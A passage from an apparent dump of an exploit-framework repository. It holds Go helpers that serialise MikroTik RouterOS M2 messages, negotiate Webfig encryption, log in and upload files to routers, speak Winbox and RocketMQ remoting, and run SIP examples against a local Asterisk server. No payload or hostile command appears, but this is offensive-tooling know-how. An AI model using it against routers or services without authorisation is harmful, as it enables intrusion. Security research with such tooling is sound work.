\"\\x10\\x00\\x00\\xa8\\x00\\x00\\x1c\\x00\\x00\\x01\\x0a\\x00\\xfe\\x00\\x05\\x00\\x00\\x09\\x00\\x06\\x00\\x00\\x09\\x00\\x0b\\x00\\x00\\x08\\xfe\\xff\\x07\\x00\\x12\\x00\\x00\\x09\\x02\\x01\\x00\\xfe\\x09\\x02\\x02\\x00\\x00\\x09\\x03\\x09\\x00\\xfe\\x21\\x0d\\x74\\x68\\x69\\x73\\x20\\x69\\x73\\x20\\x75\\x73\\x65\\x72\\x31\\x11\\x00\\x00\\x21\\x10\\x77\\x1e\\xd0\\x02\\x57\\xd6\\x5c\\x59\\xc4\\xba\\x83\\x1a\\x86\\x6e\\x44\\x0e\\x01\\x00\\x00\\x21\\x05\\x75\\x73\\x65\\x72\\x31\"\n\tif !ParseM2Message([]byte(data), result) {\n\t\tt.Error(\"Failed M2 messaging parsing\")\n\t}\n}\n"
  },
  {
    "path": "protocol/mikrotik/msg.go",
    "content": "// `msg.go` contains the logic for building, reading, accessing, and\n// serializing RouterOS M2 messages.\npackage mikrotik\n\nimport (\n\t\"encoding/binary\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\ntype M2Message struct {\n\tBools    map[uint32]bool\n\tU32s     map[uint32]uint32\n\tStrings  map[uint32][]byte\n\tRaw      map[uint32][]byte\n\tArrayU32 map[uint32][]uint32\n\tArrayM2  map[uint32][]*M2Message\n}\n\nfunc NewM2Message() *M2Message {\n\tvar m2 M2Message\n\tm2.Bools = make(map[uint32]bool)\n\tm2.U32s = make(map[uint32]uint32)\n\tm2.Strings = make(map[uint32][]byte)\n\tm2.Raw = make(map[uint32][]byte)\n\tm2.ArrayU32 = make(map[uint32][]uint32)\n\tm2.ArrayM2 = make(map[uint32][]*M2Message)\n\n\treturn &m2\n}\n\nconst (\n\ttypeBoolean      uint32 = 0\n\ttypeShortLength  uint32 = 0x01000000\n\ttypeUint32       uint32 = 0x08000000\n\ttypeString       uint32 = 0x20000000\n\ttypeRaw          uint32 = 0x30000000\n\ttypeUint32Array  uint32 = 0x88000000\n\ttypeMessageArray uint32 = 0xa8000000\n)\n\nconst (\n\tVarSysTo         uint32 = 0x00ff0001\n\tVarFrom          uint32 = 0x00ff0002\n\tVarReplyExpected uint32 = 0x00ff0005\n\tVarRequestID     uint32 = 0x00ff0006\n\tVarCommand       uint32 = 0x00ff0007\n\tVarErrorCode     uint32 = 0x00ff0008\n\tVarErrorString   uint32 = 0x00ff0009\n\tVarSessionID     uint32 = 0x00fe0001\n)\n\nfunc (msg M2Message) SetTo(to uint32, handler uint32) {\n\tuint32Slice := make([]uint32, 2)\n\tuint32Slice[0] = to\n\tuint32Slice[1] = handler\n\tmsg.AddU32Array(VarSysTo, uint32Slice)\n}\n\nfunc (msg M2Message) SetCommand(command uint32) {\n\tmsg.AddU32(VarCommand, command)\n}\n\nfunc (msg M2Message) SetRequestID(id uint32) {\n\tmsg.AddU32(VarRequestID, id)\n}\n\nfunc (msg M2Message) SetReplyExpected(expected bool) {\n\tmsg.AddBool(VarReplyExpected, expected)\n}\n\nfunc (msg M2Message) SetSessionID(id uint32) {\n\tmsg.AddU32(VarSessionID, id)\n}\n\nfunc (msg M2Message) GetSessionID() uint32 {\n\treturn msg.U32s[VarSessionID]\n}\n\nfunc (msg M2Message) AddBool(varname uint32, data bool) {\n\tmsg.Bools[varname] = data\n}\n\nfunc (msg M2Message) AddU32(varname uint32, data uint32) {\n\tmsg.U32s[varname] = data\n}\n\nfunc (msg M2Message) AddString(varname uint32, data []byte) {\n\tmsg.Strings[varname] = make([]byte, len(data))\n\tcopy(msg.Strings[varname], data)\n}\n\nfunc (msg M2Message) AddRaw(varname uint32, data []byte) {\n\tmsg.Raw[varname] = make([]byte, len(data))\n\tcopy(msg.Raw[varname], data)\n}\n\nfunc (msg M2Message) AddU32Array(varname uint32, data []uint32) {\n\tmsg.ArrayU32[varname] = append(msg.ArrayU32[varname], data...)\n}\n\nfunc (msg M2Message) Serialize() []byte {\n\tserialized := []byte{}\n\n\tfor varname, value := range msg.Bools {\n\t\tbinaryBool := make([]byte, 4)\n\t\tif value {\n\t\t\tvarname |= typeShortLength\n\t\t}\n\t\tbinary.LittleEndian.PutUint32(binaryBool, varname)\n\t\tserialized = append(serialized, binaryBool...)\n\t}\n\n\tfor varname, value := range msg.U32s {\n\t\tvarname |= typeUint32\n\t\tbinaryUint32 := make([]byte, 4)\n\n\t\tif value > 255 {\n\t\t\tbinary.LittleEndian.PutUint32(binaryUint32, varname)\n\t\t\tserialized = append(serialized, binaryUint32...)\n\t\t\tbinary.LittleEndian.PutUint32(binaryUint32, value)\n\t\t\tserialized = append(serialized, binaryUint32...)\n\t\t} else {\n\t\t\tvarname |= typeShortLength\n\t\t\tbinary.LittleEndian.PutUint32(binaryUint32, varname)\n\t\t\tserialized = append(serialized, binaryUint32...)\n\t\t\tserialized = append(serialized, byte(value&0x000000ff))\n\t\t}\n\t}\n\n\tfor varname, value := range msg.Strings {\n\t\tvarname |= typeString\n\t\tbinaryString := make([]byte, 4)\n\n\t\tif len(value) > 255 {\n\t\t\tbinary.LittleEndian.PutUint32(binaryString, varname)\n\t\t\tserialized = append(serialized, binaryString...)\n\t\t\tbinaryLength := make([]byte, 2)\n\t\t\tbinary.LittleEndian.PutUint16(binaryLength, uint16(len(value)))\n\t\t\tserialized = append(serialized, binaryLength...)\n\t\t} else {\n\t\t\tvarname |= typeShortLength\n\t\t\tbinary.LittleEndian.PutUint32(binaryString, varname)\n\t\t\tserialized = append(serialized, binaryString...)\n\t\t\tserialized = append(serialized, byte(len(value)))\n\t\t}\n\t\tserialized = append(serialized, value...)\n\t}\n\n\tfor varname, value := range msg.Raw {\n\t\tvarname |= typeRaw\n\t\tbinaryString := make([]byte, 4)\n\n\t\tif len(value) > 255 {\n\t\t\tbinary.LittleEndian.PutUint32(binaryString, varname)\n\t\t\tserialized = append(serialized, binaryString...)\n\t\t\tbinaryLength := make([]byte, 2)\n\t\t\tbinary.LittleEndian.PutUint16(binaryLength, uint16(len(value)))\n\t\t\tserialized = append(serialized, binaryLength...)\n\t\t} else {\n\t\t\tvarname |= typeShortLength\n\t\t\tbinary.LittleEndian.PutUint32(binaryString, varname)\n\t\t\tserialized = append(serialized, binaryString...)\n\t\t\tserialized = append(serialized, byte(len(value)))\n\t\t}\n\t\tserialized = append(serialized, value...)\n\t}\n\n\tfor varname, value := range msg.ArrayU32 {\n\t\tvarname |= typeUint32Array\n\t\tbinaryArray := make([]byte, 4)\n\t\tbinary.LittleEndian.PutUint32(binaryArray, varname)\n\t\tserialized = append(serialized, binaryArray...)\n\n\t\tbinaryLength := make([]byte, 2)\n\t\tbinary.LittleEndian.PutUint16(binaryLength, uint16(len(value)))\n\t\tserialized = append(serialized, binaryLength...)\n\n\t\tfor _, entry := range value {\n\t\t\tbinaryEntry := make([]byte, 4)\n\t\t\tbinary.LittleEndian.PutUint32(binaryEntry, entry)\n\t\t\tserialized = append(serialized, binaryEntry...)\n\t\t}\n\t}\n\n\t// Skipping array of m2. I'm not sure I ever used this before\n\t// and doing it correctly takes some thought\n\n\treturn serialized\n}\n\nfunc handleStringorRaw(varTypeName uint32, varName uint32, data *[]byte, storage *map[uint32][]byte) bool {\n\tif len(*data) <= 2 {\n\t\treturn false\n\t}\n\tlength := int(binary.LittleEndian.Uint16(*data))\n\tif (varTypeName & typeShortLength) != 0 {\n\t\tlength = int((*data)[0])\n\t\t*data = (*data)[1:]\n\t} else {\n\t\t*data = (*data)[2:]\n\t}\n\tif len(*data) < length {\n\t\treturn false\n\t}\n\n\t(*storage)[varName] = make([]byte, length)\n\tcopy((*storage)[varName], *data)\n\t*data = (*data)[length:]\n\n\treturn true\n}\n\n// this switch is cursed. it needs to be broke into manageable functions.\nfunc ParseM2Message(data []byte, msg *M2Message) bool {\n\tif len(data) < 4 {\n\t\treturn false\n\t}\n\n\tif data[2] == 'M' && data[3] == '2' {\n\t\t// the message was passed in with the length + M2 header. Truncate\n\t\t// and skip\n\t\tm2length := int(data[0])\n\t\tdata = data[4:]\n\t\tdata = data[:m2length]\n\t}\n\n\tfor len(data) > 4 {\n\t\tvarTypeName := binary.LittleEndian.Uint32(data)\n\t\tvarType := varTypeName & 0xf8000000\n\t\tvarName := varTypeName & 0x00ffffff\n\t\tdata = data[4:]\n\n\t\tswitch varType {\n\t\tcase typeBoolean:\n\t\t\tmsg.Bools[varName] = (varTypeName & typeShortLength) != 0\n\t\tcase typeUint32:\n\t\t\tif (varTypeName & typeShortLength) != 0 {\n\t\t\t\tif len(data) == 0 {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tmsg.U32s[varName] = uint32(data[0])\n\t\t\t\tdata = data[1:]\n\t\t\t} else {\n\t\t\t\tif len(data) < 4 {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tmsg.U32s[varName] = binary.LittleEndian.Uint32(data)\n\t\t\t\tdata = data[4:]\n\t\t\t}\n\t\tcase typeString:\n\t\t\tok := handleStringorRaw(varTypeName, varName, &data, &msg.Strings)\n\t\t\tif !ok {\n\t\t\t\treturn false\n\t\t\t}\n\t\tcase typeRaw:\n\t\t\tok := handleStringorRaw(varTypeName, varName, &data, &msg.Raw)\n\t\t\tif !ok {\n\t\t\t\treturn false\n\t\t\t}\n\t\tcase typeUint32Array:\n\t\t\tif len(data) <= 2 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tarrayEntries := int(binary.LittleEndian.Uint16(data))\n\t\t\tdata = data[2:]\n\t\t\tif len(data) < (arrayEntries * 4) {\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tfor i := 0; i < arrayEntries; i++ {\n\t\t\t\tmsg.ArrayU32[varName] = append(msg.ArrayU32[varName], binary.LittleEndian.Uint32(data))\n\t\t\t\tdata = data[4:]\n\t\t\t}\n\t\tcase typeMessageArray:\n\t\t\tif len(data) <= 2 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tlength := int(binary.LittleEndian.Uint16(data))\n\t\t\tif (varTypeName & typeShortLength) != 0 {\n\t\t\t\tlength = int(data[0])\n\t\t\t\tdata = data[1:]\n\t\t\t} else {\n\t\t\t\tdata = data[2:]\n\t\t\t}\n\t\t\tsubdata := make([]byte, length)\n\t\t\tcopy(subdata, data)\n\t\t\tsubMsg := NewM2Message()\n\t\t\tmsg.ArrayM2[varName] = append(msg.ArrayM2[varName], subMsg)\n\n\t\t\t// recursion... technically not safe. Not checking the return here either is\n\t\t\t// a bold choice. Mostly avoiding handling empty entries.\n\t\t\t_ = ParseM2Message(subdata, subMsg)\n\n\t\t\tdata = data[length:]\n\t\tdefault:\n\t\t\toutput.PrintfFrameworkError(\"Unhandled %x named %x\\n\", varType, varName)\n\t\t}\n\t}\n\n\treturn true\n}\n"
  },
  {
    "path": "protocol/mikrotik/webfig.go",
    "content": "// `webfig.go` implements encryption negotiation and authentication against\n// the web interface (webfig) of RouterOS v6.45+.\npackage mikrotik\n\nimport (\n\t\"bytes\"\n\t\"crypto/rand\"\n\t\"crypto/rc4\"\n\t\"crypto/sha1\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"io\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/textproto\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n\t\"golang.org/x/crypto/curve25519\"\n\t\"golang.org/x/text/encoding/charmap\"\n)\n\n// WebfigSession tracks the crypto for a given \"session\" which is associated\n// with an ID. A sequence number must also be tracked.\ntype WebfigSession struct {\n\tID  uint32\n\tSeq int\n\tRx  *rc4.Cipher\n\tTx  *rc4.Cipher\n}\n\n// Reverse the provided slice and return it back to the caller.\nfunc reverseSlice(slice []byte) []byte {\n\tcopied := make([]byte, len(slice))\n\tcopy(copied, slice)\n\n\tfor i := range len(copied) / 2 {\n\t\tj := len(copied) - 1 - i\n\t\tcopied[i], copied[j] = copied[j], copied[i]\n\t}\n\n\treturn copied\n}\n\n// converts binary data into the expected latin-1 format. 0 is replaced by 0xc480.\nfunc webEncode(data []byte) string {\n\tdecoder := charmap.ISO8859_1.NewDecoder()\n\tdecodedData, _ := decoder.Bytes(data)\n\tconvertedData := bytes.ReplaceAll(decodedData, []byte{0}, []byte{0xc4, 0x80})\n\n\treturn string(convertedData)\n}\n\n// converts the latin-1ish data back to binary. 0xc480 is replaced by 0.\nfunc webDecode(data string) string {\n\tdecodedData := bytes.ReplaceAll([]byte(data), []byte{0xC4, 0x80}, []byte{0x00})\n\tlatin1Encoder := charmap.ISO8859_1.NewEncoder()\n\tdecodedData, _ = latin1Encoder.Bytes(decodedData)\n\n\treturn string(decodedData)\n}\n\n// Generate a key pair suitable for Curve25519 crypto.\n// return privatekey, publickey.\nfunc generateKeyPair() ([]byte, []byte) {\n\t// generate a private key using random data\n\tprivateKey := make([]byte, 32)\n\t_, _ = rand.Read(privateKey)\n\n\t// MikroTik uses Curve25515 Donna, so tweak the key appropriately\n\tprivateKey[0] &= 248\n\tprivateKey[31] &= 127\n\tprivateKey[31] |= 64\n\n\t// Requiring the reversing of crypto materials is something I noted\n\t// back in 2019:\n\t// https://github.com/tenable/routeros/blob/c5d42403135e7d826fbddd85b788401b0f40d90d/common/jsproxy_session.cpp#L316\n\t// I really don't know why. Margin did the same in their python impl, so\n\t// it can't be wrong, right?\n\tpublicKey, _ := curve25519.X25519(reverseSlice(privateKey), curve25519.Basepoint)\n\n\treturn privateKey, publicKey\n}\n\nfunc generateSharedKey(privateKey []byte, publicKey []byte) []byte {\n\tsharedKey, _ := curve25519.X25519(reverseSlice(privateKey), reverseSlice(publicKey))\n\n\treturn reverseSlice(sharedKey)\n}\n\n// Sends the provided public key as the first step to encryption negotiation.\n// The function receives back a payload that it pushes through webDecode.\nfunc sendPublicKey(webfigURL string, publicKey []byte) (string, bool) {\n\tpayload := []byte{}\n\tpayload = append(payload, []byte(strings.Repeat(\"\\x00\", 8))...)\n\tpayload = append(payload, reverseSlice(publicKey)...)\n\tresp, body, ok := protocol.HTTPSendAndRecv(\"POST\", webfigURL, webEncode(payload))\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Failed to send the public key to %s\", webfigURL)\n\n\t\treturn \"\", false\n\t}\n\n\tif resp.StatusCode != http.StatusOK {\n\t\toutput.PrintfFrameworkError(\"Unexpected status code (%d) when sending the public key \", resp.StatusCode)\n\n\t\treturn \"\", false\n\t}\n\n\treturn webDecode(body), true\n}\n\n// Initializes the rc4 send/recv states using the negotiated shared key. The\n// key is addtionally pushed through MSChapv2 key generation logic.\n//\n// At the end, the rc4 engines are ready to be used for communication.\nfunc initRC4(session *WebfigSession, sharedKey []byte) {\n\t// init the recv side\n\trxKey := string(sharedKey) +\n\t\tstrings.Repeat(\"\\x00\", 40) +\n\t\t\"On the client side, this is the receive key; on the server side, it is the send key.\" +\n\t\tstrings.Repeat(\"\\xf2\", 40)\n\trxSha := sha1.Sum([]byte(rxKey))\n\trxFinial := rxSha[:16]\n\tsession.Rx, _ = rc4.NewCipher(rxFinial)\n\n\t// init the send side\n\ttxKey := string(sharedKey) +\n\t\tstrings.Repeat(\"\\x00\", 40) +\n\t\t\"On the client side, this is the send key; on the server side, it is the receive key.\" +\n\t\tstrings.Repeat(\"\\xf2\", 40)\n\ttxSha := sha1.Sum([]byte(txKey))\n\ttxFinal := txSha[:16]\n\tsession.Tx, _ = rc4.NewCipher(txFinal)\n\n\t// routers uses rc4 drop 768\n\tdrop768 := strings.Repeat(\"\\x00\", 768)\n\tdst := make([]byte, len(drop768))\n\tsession.Rx.XORKeyStream(dst, []byte(drop768))\n\tsession.Tx.XORKeyStream(dst, []byte(drop768))\n}\n\n// Negotiates encryption with the remote Webfig described by `webfigURL`. Note that\n// `webfigURL` is generally created like so:\n//\n// webfigURL := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, \"/jsproxy\")\n//\n// But we didn't want to introduce a config dependency here.\nfunc NegotiateEncryption(webfigURL string, session *WebfigSession) bool {\n\tclientPrivKey, clientPubKey := generateKeyPair()\n\tbody, ok := sendPublicKey(webfigURL, clientPubKey)\n\tif !ok {\n\t\treturn false\n\t}\n\n\tif len(body) != 40 {\n\t\toutput.PrintfFrameworkError(\"Unexpected public key response size\")\n\n\t\treturn false\n\t}\n\n\t// values that will be needed for the remainder of the session\n\tsession.Seq = 1\n\tsession.ID = binary.BigEndian.Uint32([]byte(body[0:4]))\n\n\tserverPubKey := body[8:]\n\tsharedKey := generateSharedKey(clientPrivKey, []byte(serverPubKey))\n\tinitRC4(session, sharedKey)\n\n\treturn true\n}\n\n// Provided an M2Message this function will apply the various paddings/headers,\n// encrypt it, and send it to the remote target described by `webfigURL`. The function\n// returns the router's M2Message response.\nfunc SendEncrypted(webfigURL string, msg *M2Message, session *WebfigSession) (*M2Message, bool) {\n\tretMsg := NewM2Message()\n\n\t// serialize the m2 and encrypt it. The message requires 8 bytes of padding\n\tm2Msg := []byte(\"M2\")\n\tm2Msg = append(m2Msg, (msg.Serialize())...)\n\tm2Msg = append(m2Msg, []byte(strings.Repeat(\"\\x20\", 8))...)\n\tencrypted := make([]byte, len(m2Msg))\n\tsession.Tx.XORKeyStream(encrypted, m2Msg)\n\n\t// Create a header for the encrypted message it goes:\n\t// [4 bytes ID][4 bytes sequence]\n\tidheader := make([]byte, 4)\n\tseqheader := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(idheader, session.ID)\n\tbinary.BigEndian.PutUint32(seqheader, uint32(session.Seq))\n\n\t// sequence can now be incremented\n\tsession.Seq += len(m2Msg)\n\n\t// build the final payload\n\tfinalMsg := []byte{}\n\tfinalMsg = append(finalMsg, idheader...)\n\tfinalMsg = append(finalMsg, seqheader...)\n\tfinalMsg = append(finalMsg, encrypted...)\n\n\t// send the contents to Mikrotik\n\theaders := map[string]string{\n\t\t\"Content-Type\": \"msg\",\n\t}\n\tresp, body, ok := protocol.HTTPSendAndRecvWithHeaders(\"POST\", webfigURL, string(finalMsg), headers)\n\tif !ok {\n\t\treturn retMsg, false\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn retMsg, false\n\t}\n\n\t// the first 8 bytes (session, seq id) are not interesting to us\n\tbody = body[8:]\n\n\t// decrypt the payload and strip the padding\n\tdst := make([]byte, len(body))\n\tsession.Rx.XORKeyStream(dst, []byte(body))\n\tdst = dst[:len(dst)-8]\n\n\t// attempt to parse the decrypted message\n\tok = ParseM2Message(dst, retMsg)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Failed to parse M2 message\")\n\n\t\treturn retMsg, false\n\t}\n\n\treturn retMsg, true\n}\n\n// Given a username and password, this function will authenticate with\n// the remote router.\nfunc Login(webfigURL string, username string, password string, session *WebfigSession) bool {\n\t// create the login M2\n\tmsg := NewM2Message()\n\tmsg.AddString(1, []byte(username))\n\tmsg.AddString(3, []byte(password))\n\n\trespMsg, ok := SendEncrypted(webfigURL, msg, session)\n\tif !ok {\n\t\toutput.PrintfFrameworkStatus(\"Authentication failed\")\n\n\t\treturn false\n\t}\n\n\tif len(respMsg.Strings) != 0 {\n\t\tvalue, ok := respMsg.Strings[0x15]\n\t\tif ok {\n\t\t\toutput.PrintfFrameworkStatus(\"Authenticated to a %s\", string(value))\n\t\t}\n\t}\n\n\treturn true\n}\n\n// Upload a file via webfig. The expected url is: http[s]://<address>:<port>/jsproxy\n// The file will be written to /rw/disk and be viewable from the Webfig disk menu.\nfunc FileUpload(webfigURL string, filename string, contents string, session *WebfigSession) bool {\n\torginalName := filename\n\n\tfilename += strings.Repeat(\"\\x20\", 8)\n\tencrypted := make([]byte, len(filename))\n\tsession.Tx.XORKeyStream(encrypted, []byte(filename))\n\n\t// track length before we encode it\n\tsequence := session.Seq\n\tsession.Seq += len(encrypted)\n\n\tencodedAndEncrypted := webEncode(encrypted)\n\n\t// Create a header for the encrypted message it goes:\n\t// [4 bytes ID][4 bytes sequence]\n\tidheader := make([]byte, 4)\n\tseqheader := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(idheader, session.ID)\n\tbinary.BigEndian.PutUint32(seqheader, uint32(sequence))\n\n\t// build the final payload\n\tfinalMsg := []byte{}\n\tfinalMsg = append(finalMsg, idheader...)\n\tfinalMsg = append(finalMsg, seqheader...)\n\tfinalMsg = append(finalMsg, encodedAndEncrypted...)\n\n\t// write to a multipart field\n\tvar multipartFile bytes.Buffer\n\twriter := multipart.NewWriter(&multipartFile)\n\theader := make(textproto.MIMEHeader)\n\theader.Set(\"Content-Disposition\", fmt.Sprintf(`form-data; name=\"file\"; filename=\"%s\"`, orginalName))\n\theader.Set(\"Content-Type\", \"form-data\")\n\tfiledata, _ := writer.CreatePart(header)\n\t_, _ = io.Copy(filedata, strings.NewReader(contents))\n\twriter.Close()\n\n\t// Craft a raw HTTP request\n\treq, err := http.NewRequest(http.MethodPost, webfigURL+\"/upload?\"+url.QueryEscape(string(finalMsg)), &multipartFile)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treq.Header.Set(\"Content-Type\", writer.FormDataContentType())\n\treq.Header.Set(\"User-Agent\", protocol.GlobalUA)\n\n\tclient := &http.Client{}\n\tresp, _, ok := protocol.DoRequest(client, req)\n\tif !ok {\n\t\treturn false\n\t}\n\n\tif resp.StatusCode != http.StatusOK {\n\t\toutput.PrintfFrameworkError(\"Received an unexpected HTTP status code %d.\", resp.StatusCode)\n\n\t\treturn false\n\t}\n\n\treturn true\n}\n"
  },
  {
    "path": "protocol/mikrotik/winbox.go",
    "content": "// `winbox.go` contains the logic for sending unencrypted M2 messages to\n// the RouterOS Winbox port (8291)\npackage mikrotik\n\nimport (\n\t\"encoding/binary\"\n\t\"net\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n)\n\nfunc SendM2(conn net.Conn, msg *M2Message) bool {\n\t// craft m2 message\n\tm2Payload := []byte(\"M2\")\n\tm2Payload = append(m2Payload, (msg.Serialize())...)\n\n\t// add size in front of the message\n\toutputSize := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(outputSize, uint16(len(m2Payload)))\n\tsizeAndPayload := []byte{}\n\tsizeAndPayload = append(sizeAndPayload, outputSize...)\n\tsizeAndPayload = append(sizeAndPayload, m2Payload...)\n\n\t// add the pkt header (1 byte length, 1 byte messges)\n\t// not that this doesn't work for >0xff, and should be reworked\n\tpktHeader := make([]byte, 2)\n\tpktHeader[0] = byte(len(sizeAndPayload))\n\tpktHeader[1] = 1\n\tfinalMsg := []byte{}\n\tfinalMsg = append(finalMsg, pktHeader...)\n\tfinalMsg = append(finalMsg, sizeAndPayload...)\n\n\treturn protocol.TCPWrite(conn, finalMsg)\n}\n\nfunc ReceiveM2(conn net.Conn, msg *M2Message) bool {\n\tmsgSize, ok := protocol.TCPReadAmount(conn, 4)\n\tif !ok {\n\t\treturn false\n\t}\n\n\tmsgSize = msgSize[2:]\n\treadSize := int(binary.BigEndian.Uint16(msgSize))\n\tif readSize == 0 {\n\t\toutput.PrintfFrameworkError(\"The server provided an invalid message length\")\n\n\t\treturn false\n\t}\n\n\tfinalBuffer := []byte{}\n\tloop := 0\n\n\tfor readSize > 0xff {\n\t\tstep := 0xff\n\t\tif loop == 0 {\n\t\t\tstep -= 2\n\t\t}\n\n\t\tmsgBytes, ok := protocol.TCPReadAmount(conn, step)\n\t\tif !ok {\n\t\t\treturn false\n\t\t}\n\n\t\tloop++\n\t\treadSize -= step\n\t\tfinalBuffer = append(finalBuffer, msgBytes...)\n\n\t\t// this should be two bytes of padding\n\t\tmsgBytes, ok = protocol.TCPReadAmount(conn, 2)\n\t\tif !ok {\n\t\t\treturn false\n\t\t}\n\n\t\tif msgBytes[1] != 0xff {\n\t\t\toutput.PrintFrameworkError(\"Padding is off\")\n\n\t\t\treturn false\n\t\t}\n\t}\n\n\tmsgBytes, ok := protocol.TCPReadAmount(conn, readSize)\n\tif !ok {\n\t\treturn false\n\t}\n\tfinalBuffer = append(finalBuffer, msgBytes...)\n\n\tif finalBuffer[0] != 'M' || finalBuffer[1] != '2' {\n\t\toutput.PrintFrameworkError(\"Missing m2 in response\")\n\n\t\treturn false\n\t}\n\n\treturn ParseM2Message(finalBuffer, msg)\n}\n"
  },
  {
    "path": "protocol/rocketmq/remoting.go",
    "content": "// Package rocketmq is a very basic (and incomplete) implementation of RocketMQ remoting protocol\npackage rocketmq\n\nimport (\n\t\"encoding/binary\"\n\t\"encoding/json\"\n\t\"math\"\n\t\"net\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n)\n\n// Creates a RocketMQ remoting message. Format described here:\n// https://github.com/apache/rocketmq/blob/bd0e9c09db9748f7f74a0c707579142dccf30afc/remoting/src/main/java/org/apache/rocketmq/remoting/protocol/RemotingCommand.java#L473\n//\n// [4 byte total length]\n// [4 byte header length] (includes protocol type flag)\n// [n bytes header data]\n// [n bytes body data]\n//\n// The code can be found here:\n// https://github.com/apache/rocketmq/blob/c78061bf6ca5f35452510ec4107c46735c51c316/test/src/test/resources/schema/protocol/common.protocol.RequestCode.schema\n//\n// This can return 'nil' if the requested payload is too large or marshalling the json header fails.\nfunc CreateMqRemotingMessage(payload string, code int, version int) []byte {\n\t// Check the payload isn't overly large. I don't really see a scenario where 16 million bytes is\n\t// needed. Heck, I don't see needing more than 1k for the current exploitation use case.\n\tif len(payload) > int(math.Pow(2, 24)) {\n\t\toutput.PrintFrameworkError(\"Payload size exceeded artificial cap.\")\n\n\t\treturn nil\n\t}\n\tmqHeader := map[string]any{\n\t\t\"code\":                    code,\n\t\t\"flag\":                    0,\n\t\t\"language\":                \"JAVA\",\n\t\t\"opaque\":                  0,\n\t\t\"serializeTypeCurrentRPC\": \"JSON\",\n\t\t\"version\":                 version,\n\t}\n\tmqHeaderBytes, err := json.Marshal(mqHeader)\n\tif err != nil {\n\t\t// this should never be reached\n\t\toutput.PrintFrameworkError(\"Failed to marshal mqHeader\")\n\n\t\treturn nil\n\t}\n\n\t// build the total length field\n\ttotalLengthField := make([]byte, 4)\n\tlength := len(payload) + len(mqHeaderBytes) + 4\n\tbinary.BigEndian.PutUint32(totalLengthField, uint32(length))\n\n\t// build the header length field\n\theaderLengthField := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(headerLengthField, uint32(len(mqHeaderBytes)))\n\n\t// create the full message\n\tmessage := make([]byte, 0)\n\tmessage = append(message, totalLengthField...)\n\tmessage = append(message, headerLengthField...)\n\tmessage = append(message, mqHeaderBytes...)\n\tmessage = append(message, []byte(payload)...)\n\n\treturn message\n}\n\n// Reads a remoting message from the remote target.\nfunc ReadMqRemotingResponse(conn net.Conn) ([]byte, []byte, bool) {\n\tmsgSize, ok := protocol.TCPReadAmount(conn, 4)\n\tif !ok {\n\t\treturn nil, nil, false\n\t}\n\n\treadSize := int(binary.BigEndian.Uint32(msgSize))\n\tif readSize == 0 {\n\t\toutput.PrintFrameworkError(\"The server provided an invalid message length\")\n\n\t\treturn nil, nil, false\n\t}\n\n\tmsg, ok := protocol.TCPReadAmount(conn, readSize)\n\tif !ok {\n\t\treturn nil, nil, false\n\t}\n\n\theaderSize := int(binary.BigEndian.Uint32(msg[:4]))\n\tif (headerSize + 4) > len(msg) {\n\t\toutput.PrintFrameworkError(\"Invalid remoting response\")\n\n\t\treturn nil, nil, false\n\t}\n\n\theader := msg[4 : headerSize+4]\n\tbody := msg[headerSize+4:]\n\n\treturn header, body, true\n}\n"
  },
  {
    "path": "protocol/rocketmq/remoting_test.go",
    "content": "package rocketmq\n\nimport (\n\t\"math\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc Test_MaxSize(t *testing.T) {\n\tmsg := strings.Repeat(\"A\", int(math.Pow(2, 24))+1)\n\tmqMsg := CreateMqRemotingMessage(msg, 112, 1)\n\tif mqMsg != nil {\n\t\tt.Error(\"msg size should have exceeded artificial cap\")\n\t}\n\n\tmsg = strings.Repeat(\"A\", int(math.Pow(2, 24)))\n\tmqMsg = CreateMqRemotingMessage(msg, 112, 1)\n\tif mqMsg == nil {\n\t\tt.Error(\"msg size should not have exceeded the artificial cap\")\n\t}\n}\n"
  },
  {
    "path": "protocol/sip/examples/README.md",
    "content": "# SIP examples\n\n## Usage\n\nStart the local Asterisk server and run a example.\n\n```sh\ncd protocol/sip/examples\ndocker compose up -d\ngo run ping/main.go\n# go run tcp/main.go\n# go run call/main.go\n```\n"
  },
  {
    "path": "protocol/sip/examples/call/main.go",
    "content": "// This example registers an endpoint (user authentication) in a server\n// and starts a call (only the SIP related part).\npackage main\n\nimport (\n\tsipgo \"github.com/emiago/sipgo/sip\"\n\t\"github.com/icholy/digest\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol/sip\"\n)\n\nconst (\n\thost     = \"127.0.0.1\"\n\tfromUser = \"john.doe\"\n\tpass     = \"password\"\n\ttoUser   = \"dembele\"\n)\n\nfunc main() {\n\tport := sip.DefaultPorts[sip.UDP]\n\tconn, ok := protocol.UDPConnect(host, port)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Connecting to server %s:%d\", host, port)\n\n\t\treturn\n\t}\n\tdefer conn.Close()\n\treqOpts := sip.NewSipRequestOpts{\n\t\tPort:   port,\n\t\tUser:   fromUser,\n\t\tToUser: fromUser,\n\t}\n\treq, ok := sip.NewSipRequest(sipgo.REGISTER, host, &reqOpts)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Creating 